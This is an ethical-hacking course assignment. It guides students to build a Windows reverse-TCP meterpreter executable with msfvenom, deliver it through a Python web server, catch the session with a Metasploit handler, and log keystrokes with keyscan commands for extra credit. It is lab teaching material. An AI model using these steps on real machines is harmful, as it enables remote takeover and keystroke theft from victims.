

## **Assignment-10.2- Using Metasploit Framework**

### **CYSE450 Ethical Hacking and Penetration Testing**

**(Total: 50 Points)**

Please follow the recording provided in the media gallery on canvas to learn about metasploit framework and msfvenom. You may also refer to google.com or e-book provided with 'O'Reilly Learning.

**Task-A: (10 Points)** Answer the following questions by typing in a word file:

1. What is payload?
2. What is the difference between bind shell and reverse shell?

**Task B: (40 Points) Reverse TCP payload for windows (Please submit the screenshot for all the steps)**

The payload you are going to create with **msfvenom** is a Reverse TCP payload for windows. This payload generates an **exe** which when run connects from the victim's machine to your Metasploit handler giving a **meterpreter** session.

1. In kali terminal, Launch **msfconsole** with the command, **msfconsole**
2. Display all the payloads available using, **show payloads** and search for the payload using **meterpreter** and **reverse\_tcp**, (**windows/meterpreter/reverse\_tcp**)
3. Open a new terminal in kali to create a payload using **msfvenom**
  - a. Set the **listener host** to the kali Ip address
  - b. Set the **listener port number** to 4444
  - c. Set the file type as **exe**
4. Using python, create the **http.server**
5. Open the browser in the target machine(windows) and type the address of the kali with the port number it is listening to.
6. Set up a handler in Metasploit to receive the connection from the victim pc. Log into Metasploit by typing **msfconsole** in a new kali terminal.
7. Once Metasploit is loaded use the **multi/handler** exploit and set the payload to be **reverse\_tcp** using, **set payload windows/meterpreter/reverse\_tcp**
8. Next, you need to set the LHOST and LPORT; copying the details as you set it in payload you just generated in msfvenom.
9. Check everything is set correctly by typing **show options**

10. If everything looks correct, just type **exploit -j -z** to start your handler and once the EXE payload we created in msfvenom is clicked you should then receive a meterpreter shell.
11. Type **sessions** to see all the sessions.
12. Open the active session using the session id.

**Extra Credit: (15 Points)** Perform Keylogging in Windows **(Please submit the screenshot for all the steps)**

1. Once the meterpreter session is created, type the following command, **keyscan\_start**
2. **In windows machine, open notepad and type some text**
3. Now in Kali, in meterpreter shell, type the command **keyscan\_dump**
